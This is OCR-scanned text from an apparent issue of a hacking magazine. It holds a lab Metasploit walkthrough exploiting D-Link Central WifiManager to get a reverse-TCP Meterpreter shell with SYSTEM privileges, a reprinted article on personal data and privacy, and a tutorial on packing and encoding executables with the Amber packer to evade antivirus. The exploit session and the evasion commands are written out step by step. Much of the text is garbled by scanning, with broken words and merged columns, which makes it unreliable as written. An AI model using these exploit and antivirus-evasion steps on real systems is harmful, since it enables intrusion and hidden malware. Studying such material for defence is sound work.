Central WifiManager Server IP/Domain Name

Central WiliManager Server IP/Domain Name

127.0.01|

nstalls hield

<Back |

Next >

Central WifiManager - InstallShield Wizard
Check whether the YU runtime installed

VC runtime was not detected, immediately installed




lY.:>u may need to install Visual C++ software as shown below.

Central WifiManager - InstaliShield Wizard x
ﬂl Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.235... — x

Microsoft Visual C++ 2015
Redistributable (x86) - 14.0.23506

MICROSOFT SOFTWARE LICENSE TERMS

MICROSOFT VISUAL STUDIO 2015 ADD-ONs, VISUAL STUDIO SHELLS
and C++ REDISTRIBUTABLE

These license terms are an agreement between Microsoft Corporation (or

| agree to the license terms and conditions

Install

InstallShield

¢Back | Instal

|After the installation is finished, start the Central Wifi Manager from the program list.

.W\me FE 2
Server Help

r 8

Settng:

™ Automatcally open configuaton wandow when Windows start up

[ Automabcally start server when conhiguahon wandow i open

Me:sage

2020-12.22 06 38 06 Syslog Server Start success

2020-12-22 0638 06 FTP Server onine

2020-12.22 06 38 06 FTP Server dataport range 10000 ~ 11000
2020:12-22 06 38 06 Srenp T rap recenver ntiskos successiully
202012-22 06:38 06 SMTP it not conhgured can not use the mad hunchion




Now you can access the web interface on the localhost IP address. We do not need to login
as this exploit module does not need any credentials.

- *r 9 WTER] w ' Cenficme bmer | *

@ O-Link Contral Wi anage R - v Bagew fuletyw - W~

T} .ty ‘ e P e ; —T o

' i caca by

he target is set. Now, load the dlink_central wifimanager rce module.

msf6 > use windows/http/dlink central wifimanager _rce
Using configured payload php/meterpreter/reverse_tcp
msf6 exploit(windows/http/dlink central wifimanager rce) > show options

Module options (exploit/windows/http/dlink_central_wifimanager_rce):

Name Current Setting Required Description

Proxies A proxy chain of format type:host:port([,type:hos
t:port]( ... ]

RHOSTS The target host(s), range CIDR identifier, or ho
sts file with syntax 'file:<path>’

RPORT 443 yes The target port (TCP)

SSL true no Negotiate SSL/TLS for outgoing connections

TARGETURI / yes The base path to to the web application

VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description

LHOST The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name

0 Automatic

msf6 exploit(windows/http/dlink_central_wifimanager_rce) > §




Set all the required options and check if the target is vulnerable or not.

msf6 exploit(windows/http/dlink central wifimanager rce) > set rhosts 192.168.36.135
rhosts = 192.168.36.135

msf6 exploit(windows/http/dlink central wifimanager rce) > check

[+] 192.168.36.135:443 - The target is vulnerable.

msfé6 exploit(windows/http/dlink central wifimanager rce) > set lhost 192.168.36.132
lhost =% 192.168.36.132

he target is vulnerable. Execute the module now.

msf6 exploit(windows/http/dlink central wifimanager rce) > run

Started reverse TCP handler on 192.168.36.132:4444

Executing automatic check (disable AutoCheck to override)

The target is vulnerable.

Sending stage (39282 bytes) to 192.168.36.135

Meterpreter session 1 opened (192.168.36.132:4444 — 192.168.36.135:49553) at 2020-12
20:13:29 -0500

Sending stage (39282 bytes) to 192.168.36.135

192.168.36.135 - Meterpreter session 2 closed. Reason: Died

Meterpreter session 2 opened (192.168.36.132:4444 — 127.0.0.1) at 2020-12-21 20:13:2
9 -0500

Invalid session identifier: 2
nsf6 exploit(windows/http/dlink central wifimanager

3]

rce) >
y/dlink central wifimanager rce) > sessions

Active sessions

Id Name Type Information Connection

| meterpreter php/windows SYSTEM (0) @ WIN-DHHOGH6LSSP 192.168.36.132:4444 —
192.168.36.135:49553 (192.168.36.135)

msfﬁ Elplﬂit(ﬁ;ﬂjuﬁa nttp/diink central wifimanager rur) > sessions -1 1
Starting interaction with 1...

meterpreter > sysinfo

Computer : WIN-DHHO9GHG6LS5SP

0S : Windows NT WIN-DHHOGH6LS5SP 6.1 build 7601 (wWindows 7 Home Basic Edition Ser
vice Pack 1) 1586

Meterpreter : php/windows

meterpreter > getuid

Server username: SYSTEM (9)

meterpreter > Jj

As you can see in the above image, we successfully have a meterpreter session with system
privileges.

All your doubts, queries and questions related to ethical hacking
and penetration testing can be mailed to

editor@hackercoolmagazine.com

or you can get to us at our Facebook Page
Hackercool Magazine

or
tweet us at @hackercoolmagz
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Your Personal Data Is The Currency Of The Digital Age

ONLINE SECURITY

VIy research has led me 10 propose a new mo

Guillaume Desjardins -del for generic management of this new indu-

Associate professor, Industrial Relations, Stry and to look at the consequences that user
Université du Québec en Outaouais (UQO) -s face.

The new business models propose a
he commodification of the internet in the earl fundamental break with those typically taught
y 1990s brought western societies into the di- in business schools. Whereas the industrial a-
gital age and has changed the way consumer ge placed capital (and mainly money) at the ¢
s interact with commercial enterprises. -entre of all transactions, the digital age favou

The digital industry companies have one -rs information as a source of liquidity.
hing in common: the use of the user’s person  This disruption of the medium of exchange
al data through technology to gain competitiv in a commercial transaction is particularly sali

e advantage. : : -ent in certain industri
ciolly, Ao Readers of a certain age will surely es. Readers of a

3ay, Apple, Google@member printed maps. To get updates certain age will sur
Play: these corpora-Such as street name changes, you had -ely remember prin
ions have reached {n buy a new map. Goog]e, for examp[e’ -ted maps. To get

alevel of productand e s jts ysers GPS functionality UPAates such as street
service customization name changes, you

ever seen before. Updated in real time for free. The digital a4 to buy a new
potify’s algorithm, [nNdustry companies have one thing in  map. Google, for e

or example, offers you artists and common. -xample, offers its users GPS functional

playlists based on your age, gender, location -ity updated in real time for free.

and listening history. A Personalized Experience
Management researchers are interested in Some firms use dual monetization in their

hese new forms of commerce for two main re product or service. This is particularly true in
asons: they mark a break with conventional the mobile gaming industry.For example, som
business models and tend to do better during -e games use a freemium approach based on
rises. monetizing user data and then inserting paid
New business models elements. In short, the best of both worlds!
Recent research from the Massachusetts Insti This type of model is not bad in itself and
tute of Technology indicates that in June 202 even has advantages for the consumer, includ
0, at the height of the first wave of the COVId -ing the personalization of their experience an
19 pandemic, digital firms had an average ret -d access to free offers and trials.
urn on investment of 10 per cent, while traditi For example, when you search for a
onal firms were still negative at -14 per cent restaurant on Google Maps, you hope to get
in August. The authors’ conclusion is unequiv- results based on your location, and when you
ocal: 21st century organizations must adopt th shop online, products are suggested based
ese new business models at the risk of peris- on your purchase history.
hing. The Customer Is The Product
However, this business model is not without These benefits to the consumer can also back
risk for the consumer. | have been writing abo -fire. Several researchers note an increase in
ut this phenomenon for a little over five years the complexity of the customer relationship.




tudies have shown that the overload of infor-
mation available in the Canadian telecommun
ications industry can be used as strategic lev
erage by the seller.

For example, a user may be required to
reate a Pinterest account — recording perso
nal information such as name, email address

and birthday — in order to view the site's cont
ent. Other sites will
deny access to conte-
nt if the user has
blocked cookies or

ave the right to
onder if they are
becoming the product.
For example, Google use
AdSense to collect the personal data of their
users in order to monetize them to third partie
s, generally for advertising purposes. Similar
y, Google benefits from offering services at
no cost, because the more consumers use its
services, the more information it collects abou
t them.
It is in Amazon's best interest to encourage
s to browse its site — even if we don't buy
anything. The history of items viewed, keywor
ds used or time spent on a page can all be
monetized.
The market for targeted online advertising
is very lucrative. According to the annual Inter
active Advertising Bureau 2017 report, online
advertising generated revenues of US$88
billion in the United States alone in that year.
Reducing Your Digital Footprint
It's hard to be totally invisible in the digital
age! Indeed, it is rare that an individual is not
part of any social network, does not have a ce
Il phone or does not use the web on a daily
basis. What's more, the erosion of privacy ha-
s been so gradual that most people are not a-
are of the amount of information they reveal
avery day. Nevertheless, solutions exist to
educe one’s digital footprint.
Before entering their data, consumers may
ask themselves if they really need the product

"Firms that collect consumer's
personal information must first
rackers for advertising. ODtainN their consent. These
Consumers also consent forms are very long and 2utherizes the firm
written in jargon. Most peopleén your device. Sites
simply click on " Agree”

or service, even If it Is free. Is It really essentia
-I, for example, to create an account to consul

-t a document or view an image on a site tow

-hich you will never return?

Firms that collect consumers’ personal
information must first obtain their consent. Th-
ese consent forms are often very long and wri
-tten in jargon. Most people simply click on

agree” without wor

-rying about the i-
mplications.

In extreme cases,
this simple gesture

to install spyware o

like Terms of Serv
-ice; Didn't Read
provides an overview of user agreements and
identified the elements that could have a nega
-tive impact on the user.

All Requested Information?

When the consumer creates an account,
they must also question the relevance of givin
-g all the information requested. Although it is
important to indicate an actual birth date on a
credit application, is it really necessary to give
this information on a discussion forum?

It is also important to avoid using the same
username (often email) and password for diffe
-rent accounts. Some firms use modules to co
-llect data that link several services. Even if in
formation is missing from one of the accounts,
the module can cross-reference that account
with those registered with other providers. In
addition, if there is a data leak, it becomes ea-
sy for fraudsters to test the email and passwor
-d combination on different platforms.

The provider promises to secure the
personal data of its user. Unfortunately, sever
-al cases of recent leaks show us that this is
not always the case.

Websites like Have | Been Pwned lists data
leaks including email addresses and other inf-
ormation that may have been leaked. If your
address has been leaked, it is strongly recom
-mended that you change your password and




check your accounts using the same address.

Article First Appeared on theconversation.com

4 Packers - Encoding & Obfuscation

X BYPASSING ANTIVIRUS

Malware authors use many techniques to bypass anfi-malware. One of the them is packing.
Packing is a method used to obfuscate the code of the malware from anti-malware to prevent
its detection and analysis. It achieves this by either compressing or encrypting the malware.
Normally packers refer to runtime packers. While packing, the malicious payload (malware) i-
S stored in a packed section of the new malware which is created. While the new payload is
executed, the packed section is decompressed and executed in memory. Hence the name
runtime packers.

Mostly this execution is done in memory without storing anything on the target system's
harddrive. This method is known as In-Memory execution. In-memory execution is stealthy
and helps a lot in bypassing anti-malware. Let's see a example of a packer to better understa
-nd packers and their working.

Amber is a position-independent(reflective) PE loader that enables in-memory execution
f native PE files(EXE, DLL, SYS...). It enables stealthy in-memory payload deployment that
iIcan be used to bypass anti-virus, firewall, IDS, IPS products, and application white-listing miti
-gations. Reflective payloads generated by Amber can either be staged from a remote server
lor executed directly in memory much like a generic shellcode. By default, every generated p-
ayload is encoded using the new generation SGN encoder. Amber uses CRC32 API| and
IAT _API for inconspicuously resolving the Windows API function addresses. After the PE file
IS loaded and executed in memory, the reflective payload is erased for evading memory scan
-Ners.

Pre-compiled binaries of amber can be donwloaded from here. Once downloaded, extrac
-t the contents of the zip archive to unpack contents of Amber. Navigating into the amber dire

-ctory will reveal the amber binary.
$ s

$ ¢d amber linux 386 3.0
$ s

amber LICENSE

s i

Running the amber binary will show all the options its has.

-build
Build EXE stub that executes the generated reflective payload
-2 int
Number of times to encode the generated reflective payload (default 1)




-build

Build EXE stub that executes the generated reflective payload
-2 int

Number of times to encode the generated reflective payload (default 1)
-f string

Input PE file
-iat

Use IAT API resolver block instead of CRC API resolver block
-ignore-checks

Ignore integrity check errors.
-max int

Maximum number of bytes for obfuscation (default 5)
-Stub string

Use custom stub file (experimental)

Kaliakall: $ l

o work with amber, we need a portable executable. So let's copy the putty.exe executable
o the amber directory.

kaligkali: $ Is
klogger.exe plink.exe vncviewer.exe whoami.exe
exeZbat.exe nc.exe radmin.exe wget.exe

Now, let's see all the options of amber. The "-f " option is used to input a portable executable
(PE) file. Let's give the putty.exe file we just copied as input PE file and run amber as shown
below.

kaliakali: $ 1s
amber LICENSE putty.exe
kaliakali: $ ./amber -f putty.exe

Reflective PE Packer Copyright (c) 2017 EGE BALCI]
v3.0.0 -

File: putty.exe
Build Stub: false
Encode Count: 1
API: CRC
Final Size: 1114704 bytes
Build File: putty.exe
7] Reflective PE generated !
k.\iir'ii‘n"]m';: s
By default, amber uses the above shown settings in creating the reflective payload. The enco
ding is done a single time. This encoding is done by the new generation SGN encoder. SGN
IS a polymorphic binary encoder which is the reimplementation of the original Shikata Ga Nai
except with many new improvements. This helps a lot in creating statically undetectable bina

ry payloads. .

Encoding refers to any method of hiding the intent of the malware. i.e the actual p
-urpose of the malware. Malware authors many methods to hide what actually the mal
-ware is intended to do. Examples of encoding include Exclusive XOR operation on th

-e code, Baseb4 encoding etc.




As already explained, by default amber encodes the reflective payload a single time. This ca-
n be increased using the "-e" option as shown below. Here we have specified amber to enco-
de the payload ten times.

$ ./amber -e 10 -f putty.exe

_BMBER

Reflective PE Packer Copyright (c) 2017 EGE BALCI
v3.0.0 -

File: putty.exe
Build Stub: false
Encode Count: 10
API: CRC
Final Size: 1115668 bytes
Build File: putty.exe
lv] Reflective PE generated !

1o work on Windows, the malware needs to make some Windows API calls. These calls nee
-d to be made inconspiciously. In order to hide these API calls from anti-malware, amber use
-s CRC32_API by default. This can be seen in the above images.

kaliakali: $ ./amber -iat -f putty.exe

FIVIBE

Reflective PE Packer Copyright (c) 2017 EGE BALCI
v3.0.0 -

[#] File: putty.exe

[#] Build Stub: false

{#] Encode Count: 1

[#] API: IAT

{#] Final Size: 1114228 bytes
[#] Build File: putty.exe

[#] Reflective PE generated !

We can also specify to use |IAT_API to do specify Windows API function addresses. IAT stan
-ds for Information Address Table.
Another method malware authors use to hide their malware is known as obfuscation. By

Obfuscation is another method by which malware tries to stay hidden. It is a tech
|-nique of hiding itself by making the code of the entire malicious payload unreadable.
Varrorm techniques of obfuscation include changing names of the files, modifying the
;me attributes and masquerading as legitimate programs and services etc. Whatever th
- method, the purpose is to make the anti-malware unable to detect or understand the|
icode of the malware.

However, not only malware even makers of some legitimate applications use
obfuscation to prevent the applications from being pirated.




uscation on the malicious payload It generates.
be further increased or decreased using the "-max” option while setting the integer value. For
example, we have set the obfuscation level to 10 here.

kaliakali: $ ./amber -iat -max 10 -f putty.exe

' f I
' il
: ﬁ E
y i
." [
-
r
4

Reflective PE Packer Copyright (c) 2017 EGE BALCI]
v3.0.0 -

File: putty.exe
Build Stub: false
Encode Count: 1
API: IAT
Final Size: 1114232 bytes
Build File: putty.exe
lv] Reflective PE generated !

he "-ignore-checks" option is used to specify Amber to not check for any integrity errors that

may rise while creating portable payloads.
kaligkali: $ ./amber -ignore-checks -f putty.exe

Reflective PE Packer Copyright (c) 2017 EGE BALCI
v3.0.0 -

{#)] File: putty.exe

[#] Build Stub: false

{#] Encode Count: 1

[#] API: CRC

[#] Final Size: 1114719 bytes
[#] Build File: putty.exe

] Reflective PE generated !
kaligkali:

reates a stub file to execute the reflective PE we generated. The stub is a loader that gets
executed before the malware and subsequently loads the malware.

kaligkali: $ ./amber -build -f putty.exe

// Reflective PE Packer Copyright (c) 2017 EGE BALCI
.IJ.-'r VE-G.E -

[#] File: putty.exe
[#] Build Stub: true




$ 1s
putty.exe
$ ./amber -build -f putty.exe

LICENSE

File: putty.exe
Build Stub: true
Encode Count: 1
API: CRC
Final Size:
Build

1285120 bytes

enerated !
$ 1s

LICENSE putty.exe

in the context of undetectable malware.

This will create the stub file named putty packed.exe which acts as a loader for our maliciou
-s payload. These options are not just of Amber but will be similar for most packers. We hope
lour readers have understood the concepts of encoding, obfuscation and the role of packing

putty packed.exe

HACKING Q & A

]

IQ : What can a grey hat hacker do that a
\white hat or black hat hacker cannot do?

- Just for a starter, assuming all the three
hackers have the same amount of knowledge
. a black hat hacker is a hacker who uses his
lknowledge of hacking for malicious purposes.
IA white Hat hacker uses his knowledge for a
igood purpose, i.e protecting the network or
system, from being hacked by black hat
[hackers.

Now coming to the Grey Hat hacker, he is
the one who uses his knowledge for both
iIgood and malicious purpose. Now coming to
your question as to what a gray hat hacker
iIcan do that a black hat or white hat hacker
ican't do, he can do anything they can do sinc
-e we have assumed all these three types of
hackers. The difference is not in their level of
[knowledge but their intention to do good or
jbad.

IQ : Why do some websites say "Your

connection is not private. Attackers might
be trying to steal your information”.

A : This happens on websites that do not hav-
e HTTPS enabled on their site and you are su
-bmitting some information to the website. On
a HTTP website, any data you enter is transfe
-rred in plain text and hence can be viewed
by any one who has intercepted the connectio
on. Hence the above warning. To overcome
this, HT TPS is now mandatory to all the webs
-ites. HTTPS stands for Hyper Text Transfer
Protocol over Secure Sockets Layer (SSL) wh
-ere the transferring data is encrypted so that
if any attacker even gets hold of the data, it wi
-ll be in a format which he doen't understand.

N\

Send all your questions regarding
hacking
to
editor@
hackercoolmagazine.com
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